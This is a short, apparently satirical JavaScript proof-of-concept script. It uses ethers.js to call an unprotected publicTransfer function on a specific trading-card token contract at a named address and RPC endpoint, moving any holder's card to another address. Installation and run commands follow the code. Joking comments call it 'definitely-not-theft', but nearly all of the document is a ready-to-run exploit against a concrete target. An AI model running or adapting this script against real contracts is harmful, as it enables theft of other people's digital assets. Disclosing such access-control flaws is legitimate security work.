const { ethers } = require('ethers');

// Connect to our definitely-not-Ethereum blockchainz
const provider = new ethers.JsonRpcProvider('https://blockchainz.fottrcard.com');

// The contract address (memorize it, tattoo it, whatever)
const CONTRACT_ADDRESS = '0xEe689BBAaD495d8FEDfD71C62fdC42c86438ff59';

// The beautiful simplicity of our ABI
const ABI = [
  'function publicTransfer(address to, uint256 tokenId) external'
];

// Your wallet (or anyone's wallet, we're not picky)
const wallet = new ethers.Wallet('YOUR_PRIVATE_KEY', provider);

// The contract instance
const contract = new ethers.Contract(CONTRACT_ADDRESS, ABI, wallet);

// The transfer of destiny
async function tradeWithSomeoneElseWithoutTheirPermission() {
  try {
    const tx = await contract.publicTransfer(
      '0xSomeRandomAddress',  // Lucky recipient
      1000010000              // TokenId of the card you're "redistributing"
    );
    
    console.log('Transaction sent! Hash:', tx.hash);
    console.log('Waiting for someone to notice...');
    
    const receipt = await tx.wait();
    console.log('Success! You\'ve just moved someone else\'s property!');
    console.log('Block number:', receipt.blockNumber);
    
  } catch (error) {
    console.error('Failed to redistribute wealth:', error);
    console.error('Maybe they moved it first? It\'s a race condition!');
  }
}

tradeWithSomeoneElseWithoutTheirPermission();

// Remember: This code works for ANY tokenId, not just yours!
// It's like having a master key to every house in the neighborhood,
// except the neighborhood is on the blockchainz and the houses are JPEGs of cardboard.

Installation Instructions

npm install ethers
node definitely-not-theft.js

Pro Tip

Anyone can transfer anyone's card to anyone else! It's like a digital game of hot potato, except the potato is worth money and nobody asked to play.